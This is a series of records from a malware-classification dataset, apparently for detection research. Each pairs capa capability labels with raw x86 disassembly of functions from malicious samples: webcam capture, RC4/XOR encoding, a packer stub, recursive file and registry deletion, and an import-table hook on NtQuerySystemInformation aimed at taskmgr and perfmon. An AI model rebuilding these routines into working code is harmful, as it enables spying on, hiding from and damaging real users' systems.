joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4b98f5
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x4b9a0d
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x4b9a0d
mov eax, dword [esi + 0x3c]
push eax
call fcn.004e8057
mov esi, eax
test esi, esi
je 0x4b9a0d
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x4b9a0d
mov ecx, esi
call fcn.004b9880
cmp edi, eax
jge 0x4b9a0d
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x4b9993
mov dword [esp + 0x34], 1
jmp 0x4b99ee
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x4b9a0d
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.004b8df0
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc

Function at 0x4c0df0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x60c70c]
xor edx, edx
cmp eax, edx
jne 0x4c0e16
xor eax, eax
mov byte [eax + 0x60c60c], al
inc eax
cmp eax, 0x100
jl 0x4c0dfe
mov dword [0x60c70c], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x60c60c
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4c0ea7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4c0e7a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4c0e48
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x4c0eb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4c0f03
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4c0eea
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4c78b0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4f56ee
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.004c81d0
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x5b81d4
call fcn.004e636e
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x4c7943
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004e636e
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x4c793c
push 0
mov ecx, eax
call fcn.004bea20
mov dword [esi + 0xc], eax
jmp 0x4c7945
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x4c7945
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8

Function at 0x4e89fb
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4e8a33
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004e6a88
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004e6a60
jmp 0x4e8a3f
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4ea0f2
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4ea134
call fcn.004efba5
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4ea134
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4ea12b
xor eax, eax
jmp 0x4ea13c
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004ea142
pop edi
pop esi
pop ebx
ret 4
Function at 0x4f00d5
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4f0103
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4f0121
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004f003b
jmp 0x4f0121
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4f0121
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004f003b
test edi, edi
mov eax, edi
jne 0x4f010b
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x431002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43100c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x431030
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43101e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x40118b
Capabilities:
Hide graphical window

Disassembly:
mov ebp, esp
push 0x409002
call sub.KERNEL32.dll_GetStartupInfoA
mov eax, dword [0x409032]
mov dword [0x409046], eax
call sub.KERNEL32.dll_GetCommandLineA
inc eax
cmp byte [eax], 0
je 0x40102b
cmp byte [eax], 0x2f
jne 0x40101b
jmp 0x401115
push 0x104
push 0x409154
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
push 0x409258
push 0x104
call sub.KERNEL32.dll_GetTempPathA
push 0x409258
push 0
push 0x40935c
push 0x409258
call sub.KERNEL32.dll_GetTempFileNameA
push 0
push 0x409258
push 0x409154
call sub.KERNEL32.dll_CopyFileA
call fcn.004017f1
push 0
push 0
push 3
push 0
push 1
push 0
push 0x409258
call sub.KERNEL32.dll_CreateFileA
mov dword [0x409150], eax
call sub.KERNEL32.dll_GetCurrentProcessId
push eax
push 1
push 0x100000
call sub.KERNEL32.dll_OpenProcess
mov dword [0x409360], eax
mov esi, 0x40a8a0
call fcn.004031e0
mov esi, 0x40936c
mov edi, 0x409395
call fcn.004036b7
mov ecx, 0x44
mov al, 0
cld
mov edi, 0x4095c5
rep stosb byte es:[edi], al
mov dword [0x4095c5], 0x44
push 0x409609
push 0x4095c5
push 0
push 0
push 0
push 1
push 0
push 0
push 0x409395
push 0
call sub.KERNEL32.dll_CreateProcessA
push dword [0x409360]
call sub.KERNEL32.dll_CloseHandle
push dword [0x409150]
call sub.KERNEL32.dll_CloseHandle
jmp 0x401184
inc eax
mov dword [0x409368], eax
mov esi, 0x409368
call fcn.00403f6c
mov dword [0x409364], eax
push dword [0x409789]
push dword [0x409364]
call sub.KERNEL32.dll_WaitForSingleObject
push dword [0x409364]
call sub.KERNEL32.dll_CloseHandle
push dword [0x409368]
call sub.KERNEL32.dll_DeleteFileA
call 0x40118b
jb 0x401184
push 0
push 0
push 0
push 0x409052
call sub.USER32.dll_GetMessageA
cmp ax, 0
je 0x401184
push 0x409052
call sub.USER32.dll_TranslateMessage
push 0x409052
call sub.USER32.dll_DispatchMessageA
jmp 0x401158
push 0
call sub.KERNEL32.dll_ExitProcess
push str.Garamond
push 0x10
push 2
push 0
push 4
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x28
call sub.GDI32.dll_CreateFontA
mov dword [0x40912a], eax
push 0
call sub.KERNEL32.dll_GetModuleHandleA
mov dword [0x40904a], eax
mov eax, 3
mov dword [0x40906e], eax
mov dword [0x409072], 0x40132d
xor eax, eax
mov dword [0x409076], eax
mov dword [0x40907a], eax
push str.STDICON
push dword [0x40904a]
call sub.USER32.dll_LoadIconA
mov dword [0x409082], eax
mov eax, dword [0x40904a]
mov dword [0x40907e], eax
mov dword [0x409086], 0x7f00
push 4
call sub.GDI32.dll_GetStockObject
mov dword [0x40908a], eax
mov dword [0x40908e], 0
mov dword [0x409092], 0x4090d6
push 0x40906e
call sub.USER32.dll_RegisterClassA
cmp eax, 0
je 0x4012c9
mov esi, dword [0x40904e]
mov edi, 0x40a8a0
call fcn.004031a8
call fcn.004024dc
call fcn.00403370
call fcn.00401c7c
mov esi, 3
call fcn.004031f8
push 0
push dword [0x40904a]
push 0
push 0
push 0x190
push 0x1f4
push 0x1e
push 0x1e
push 0x1cf0000
push esi
push str.EVUNINSTALL
push 0
call sub.USER32.dll_CreateWindowExA
mov dword [0x40904e], eax
mov ecx, dword [0x40904e]
call fcn.00402556
push dword [0x409046]
push dword [0x40904e]
call sub.USER32.dll_ShowWindow
push dword [0x40904e]
call sub.USER32.dll_UpdateWindow
mov eax, 1
call fcn.00401305
clc
ret
stc
ret
Function at 0x4017f1
Capabilities:
Accept command line arguments

Disassembly:
cmp dword [0x40a2e8], 1
je 0x401865
call sub.KERNEL32.dll_GetCommandLineA
push 0x104
push 0x40a2ec
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
mov dword [0x40a2dc], 0x40a2ec
mov esi, dword [0x40a2dc]
call fcn.00403551
jb 0x401870
mov dword [0x40a2e0], eax
mov eax, dword [0x40a2e0]
mov ecx, 0x32
call fcn.0040362a
mov eax, dword [0x40a2e0]
mov ecx, 2
mov esi, 0x40a2e4
call fcn.004035d7
jb 0x401870
mov eax, dword [0x40a2e0]
call fcn.00403577
mov dword [0x40a2e8], 1
cmp dword [0x40a2e4], 1
je 0x401870
clc
ret
stc
ret

Function at 0x401874
Capabilities:
Delete directory
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
mov dword [ebp - 4], 0
mov esi, dword [ebp + 8]
mov edi, 0x40a3f4
call fcn.00404186
cmp byte [edi - 1], 0x5c
jne 0x401895
dec edi
mov dword [0x40a3f0], edi
mov esi, str..
call fcn.00404186
mov eax, 0x14a
call fcn.00405f42
mov eax, dword [ebp - 4]
mov dword [esi], eax
mov eax, dword [0x40a3f0]
mov dword [esi + 4], eax
mov dword [ebp - 4], esi
lea esi, [esi + 0xc]
push esi
push 0x40a3f4
call sub.KERNEL32.dll_FindFirstFileA
cmp eax, 0xffffffff
je 0x40194a
mov esi, dword [ebp - 4]
mov dword [esi + 8], eax
mov ebx, dword [ebp - 4]
mov ecx, dword [ebx + 4]
mov esi, 0x40a3f4
sub ecx, esi
mov edi, 0x40a4fd
cld
rep movsb byte es:[edi], byte [esi]
mov al, 0x5c
stosb byte es:[edi], al
lea esi, [ebx + 0x38]
cmp byte [esi], 0x2e
je 0x401910
call fcn.00404186
test dword [ebx + 0xc], 0x10
jne 0x401926
push 0x40a4fd
call sub.KERNEL32.dll_DeleteFileA
mov esi, dword [ebp - 4]
lea edi, [esi + 0xc]
push edi
push dword [esi + 8]
call sub.KERNEL32.dll_FindNextFileA
cmp eax, 0
je 0x40194a
jmp 0x4018d8
mov esi, 0x40a4fd
mov edi, 0x40a3f4
call fcn.00404186
mov dword [0x40a3f0], edi
mov esi, str..
call fcn.00404186
jmp 0x4018a5
mov esi, dword [ebp - 4]
push dword [esi + 8]
call sub.KERNEL32.dll_FindClose
mov esi, dword [ebp - 4]
mov eax, dword [esi + 4]
mov dword [0x40a3f0], eax
mov eax, dword [esi]
mov dword [ebp - 4], eax
call fcn.00405f55
mov edi, dword [0x40a3f0]
mov byte [edi], 0
push 0x40a3f4
call sub.KERNEL32.dll_RemoveDirectoryA
cmp dword [ebp - 4], 0
jne 0x401987
leave
ret 4
mov edi, dword [0x40a3f0]
mov esi, str..
call fcn.00404186
jmp 0x401910
Function at 0x40199c
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov dword [ebp - 4], 0
mov esi, dword [ebp + 0xc]
mov edi, 0x40a608
call fcn.00404186
cmp byte [edi - 1], 0x5c
jne 0x4019bd
dec edi
mov dword [0x40a604], edi
mov eax, 0x10
call fcn.00405f42
mov eax, dword [ebp - 4]
mov dword [esi], eax
mov eax, dword [0x40a604]
mov dword [esi + 4], eax
mov dword [ebp - 4], esi
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
lea edi, [esi + 0xc]
push edi
push 0x2f
push 0
push 0x40a608
push dword [ebp + 8]
call sub.ADVAPI32.dll_RegOpenKeyExA
cmp eax, 0
jne 0x401a55
mov esi, dword [ebp - 4]
mov dword [0x40a810], 0x104
push 0
push 0
push 0
push 0
push 0x40a810
push 0x40a70c
push dword [esi + 8]
push dword [esi + 0xc]
call sub.ADVAPI32.dll_RegEnumKeyExA
cmp eax, 0
jne 0x401a55
mov edi, dword [0x40a604]
mov byte [edi], 0x5c
inc edi
mov esi, 0x40a70c
mov edi, edi
call fcn.00404186
mov dword [0x40a604], edi
jmp 0x4019c3
mov esi, dword [ebp - 4]
push dword [esi + 0xc]
mov eax, dword [esi]
mov dword [ebp - 4], eax
call fcn.00405f55
pop eax
push eax
call sub.ADVAPI32.dll_RegCloseKey
push 0x40a608
push dword [ebp + 8]
call sub.ADVAPI32.dll_RegDeleteKeyA
cmp dword [ebp - 4], 0
jne 0x401a83
leave
ret 8
mov esi, dword [ebp - 4]
mov eax, dword [esi + 4]
mov dword [0x40a604], eax
mov edi, dword [0x40a604]
mov byte [edi], 0
jmp 0x401a05

Function at 0x40324d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov ebx, esi
mov dword [ebp - 8], ebx
mov esi, dword [ebx + 4]
call fcn.004031f8
lea edx, [ebx + 0x1c]
push edx
lea eax, [ebp - 4]
push eax
push 0
push 0x2f
push 0
push 0
push 0
push esi
push dword [ebx]
call sub.ADVAPI32.dll_RegCreateKeyExA
mov ebx, dword [ebp - 8]
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0xc]
call fcn.004031e9
mov ebx, dword [ebp - 8]
lea edx, [ebx + 0x14]
mov ecx, dword [ebx + 0x10]
mov dword [ebx + 0x18], ecx
lea ecx, [ebx + 0x18]
push ecx
push edi
push edx
push 0
push esi
push dword [ebp - 4]
call sub.ADVAPI32.dll_RegQueryValueExA
push dword [ebp - 4]
call sub.ADVAPI32.dll_RegCloseKey
leave
ret

Function at 0x4032af
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov ebx, esi
mov dword [ebp - 8], ebx
mov esi, dword [esi + 4]
call fcn.004031f8
lea edx, [ebx + 0x1c]
push edx
lea eax, [ebp - 4]
push eax
push 0
push 0x2f
push 0
push 0
push 0
push esi
push dword [ebx]
call sub.ADVAPI32.dll_RegCreateKeyExA
mov ebx, dword [ebp - 8]
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0xc]
call fcn.004031e9
mov ebx, dword [ebp - 8]
mov ecx, dword [ebx + 0x18]
cmp dword [ebx + 0x14], 1
je 0x4032fc
cmp dword [ebx + 0x14], 2
jne 0x403309
push edi
inc edi
cmp byte [edi - 1], 0
jne 0x4032fd
mov ecx, edi
pop edi
sub ecx, edi
push ecx
push edi
push dword [ebx + 0x14]
push 0
push esi
push dword [ebp - 4]
call sub.ADVAPI32.dll_RegSetValueExA
push dword [ebp - 4]
call sub.ADVAPI32.dll_RegCloseKey
leave
ret
Function at 0x4035d7
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
mov edx, eax
push 0
lea eax, [ebp - 4]
push eax
push ecx
push esi
push edx
call sub.KERNEL32.dll_ReadFile
cmp eax, 0
je 0x4035fd
mov eax, dword [ebp - 4]
cmp eax, 0
je 0x4035fd
clc
leave
ret
stc
leave
ret

Function at 0x403600
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
mov edx, eax
push ecx
push 0
lea eax, [ebp - 4]
push eax
push ecx
push esi
push edx
call sub.KERNEL32.dll_WriteFile
pop ecx
cmp eax, 0
je 0x403627
mov eax, dword [ebp - 4]
cmp eax, ecx
jne 0x403627
clc
leave
ret
stc
leave
ret

Function at 0x403657
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
call fcn.004031f8
mov dword [ebp - 4], esi
push 0x104
push dword [ebp - 4]
call sub.KERNEL32.dll_GetWindowsDirectoryA
mov esi, dword [ebp - 4]
cld
lodsb al, byte [esi]
cmp al, 0
jne 0x403676
cmp byte [esi - 2], 0x5c
je 0x403688
mov byte [esi - 1], 0x5c
mov byte [esi], 0
leave
ret
Function at 0x100024c2
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x820
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov ecx, eax
call fcn.1000ec10
push 0x208
mov esi, eax
xor ebx, ebx
lea eax, [ebp - 0x208]
push ebx
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea edx, [ebp - 0x208]
mov ecx, esi
call fcn.1000ed47
push esi
push ebx
push 0x1fffff
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov esi, 0x1004f144
mov ecx, esi
call fcn.10008910
push esi
lea edx, [ebp - 0x208]
mov ecx, 0x1004f20c
call fcn.10008a18
pop ecx
mov esi, 0x208
lea eax, [ebp - 0x410]
push esi
push ebx
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 0x208]
push 0x5c
push eax
call dword [sym.imp.ntdll.dll_wcsrchr]
pop ecx
pop ecx
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
cmp dword [0x1004f360], ebx
je 0x1000260e
push esi
lea eax, [ebp - 0x618]
push ebx
push eax
call sub.ntdll.dll_memset
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x410]
add esp, 0xc
mov ebx, 0x1004f270
push ebx
push eax
lea eax, [ebp - 0x618]
push str._s_s
push eax
call esi
push 0x1004f144
lea edx, [ebp - 0x618]
mov ecx, ebx
call fcn.10008a18
add esp, 0x14
lea eax, [ebp - 0x820]
push 0x208
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 0x410]
mov ebx, 0x1004f2d4
push ebx
push eax
lea eax, [ebp - 0x820]
push str._s_s
push eax
call esi
push 0x1004f144
lea edx, [ebp - 0x820]
mov ecx, ebx
call fcn.10008a18
add esp, 0x14
xor ebx, ebx
mov ecx, 0x1004e8e0
call fcn.10008e31
push ebx
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
pop esi
pop ebx
leave
ret
Function at 0x1000262a
Capabilities:
Accept command line arguments
Create thread
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov ecx, dword [ebp + 8]
sub esp, 0x3a4
push ebx
push esi
push edi
call fcn.1000de8e
call fcn.1000f750
lea eax, [esp + 0x220]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x10002777
and dword [esp + 0x10], eax
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov edi, eax
call fcn.10005ee9
mov ebx, eax
call fcn.1000b16d
mov dword [0x1004f36c], eax
call fcn.1000b16d
push 0x208
mov dword [0x1004f368], eax
lea eax, [esp + 0x1c]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
lea edx, [esp + 0x18]
mov ecx, eax
call fcn.1000ea9d
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
push str.Inject_Test
push 0x1004f338
call esi
test eax, eax
jne 0x100026d3
push ebx
call dword [ebx]
pop ecx
push str.taskmgr.exe
lea eax, [esp + 0x1c]
push eax
call esi
test eax, eax
jne 0x100026f0
call fcn.1000292b
push 0
call dword [sym.imp.KERNEL32.DLL_ExitThread]
push str.perfmon.exe
lea eax, [esp + 0x1c]
push eax
call esi
test eax, eax
jne 0x1000270e
push eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push str.svchost.exe
lea eax, [esp + 0x1c]
push eax
call esi
test eax, eax
jne 0x100027b5
push dword [edi + 4]
push str._Install
call esi
test eax, eax
jne 0x10002735
call fcn.100024c2
mov ecx, str.Schedule
call fcn.1000efa7
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
cmp esi, eax
jne 0x1000278b
call fcn.10002854
mov esi, eax
test esi, esi
je 0x1000277e
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
and dword [esp + 0x14], 0
lea eax, [esp + 0x14]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_GetExitCodeProcess]
cmp dword [esp + 0x14], 0x7b
jne 0x1000274b
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x1000274b
xor eax, eax
push eax
push eax
push ebx
push 0x100022ea
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov esi, eax
test esi, esi
je 0x1000278b
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x1000278b
cmp dword [esp + 0x10], 1
jne 0x100027c3
call fcn.10002410
jmp 0x10002777
jle 0x10002777
push dword [edi + 4]
push str._Install
call esi
test eax, eax
jne 0x100027d8
call fcn.100024c2
push dword [edi + 4]
push str._InstallSvc
call esi
test eax, eax
jne 0x100027ff
mov ecx, 0x1004e8e0
call fcn.10008e31
push 0
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push dword [edi + 4]
push str._svc
call esi
test eax, eax
jne 0x10002812
call fcn.10002854
push dword [edi + 4]
push str._Processid:F8284233_48F4_4680_ADDD_F8284233
call esi
test eax, eax
jne 0x10002777
call fcn.1000235f
int3
Function at 0x10002830
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
test edx, edx
jle 0x10002842
xor byte [eax + ecx], 0x3a
inc eax
cmp eax, edx
jl 0x10002839
push edx
push ecx
push dword [ebp + 8]
call sub.ntdll.dll_memcpy
xor eax, eax
add esp, 0xc
inc eax
pop ebp
ret

Function at 0x1000292b
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [sym.imp.ntdll.dll_NtQuerySystemInformation]
sub esp, 0xc
mov dword [0x1004f38c], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
push esi
push edi
push 0
call ebx
push 0
mov ecx, dword [eax + 0x3c]
mov edi, dword [ecx + eax + 0x80]
call ebx
add edi, eax
jmp 0x100029d3
cmp dword [edi + 0x10], 0
je 0x100029df
push 0
call ebx
mov esi, eax
add esi, dword [edi + 0x10]
mov ecx, dword [esi]
or ecx, dword [esi + 4]
je 0x100029d0
mov eax, dword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov ebx, dword [esi]
mov ecx, dword [esi + 4]
cdq
mov dword [ebp - 0xc], eax
mov edi, edx
cmp ebx, eax
jne 0x100029b6
cmp ecx, edi
jne 0x100029b6
mov ebx, dword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 0x1000
push esi
call ebx
mov eax, 0x100029e4
cdq
mov dword [esi], eax
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
mov dword [esi + 4], edx
push 0x1000
push esi
call ebx
mov ecx, dword [esi + 0xc]
add esi, 8
mov ebx, dword [esi]
mov eax, ebx
or eax, ecx
mov eax, dword [ebp - 0xc]
jne 0x10002980
mov edi, dword [ebp - 8]
mov ebx, dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
add edi, 0x14
cmp dword [edi], 0
mov dword [ebp - 8], edi
jne 0x1000295a
pop edi
pop esi
pop ebx
leave
ret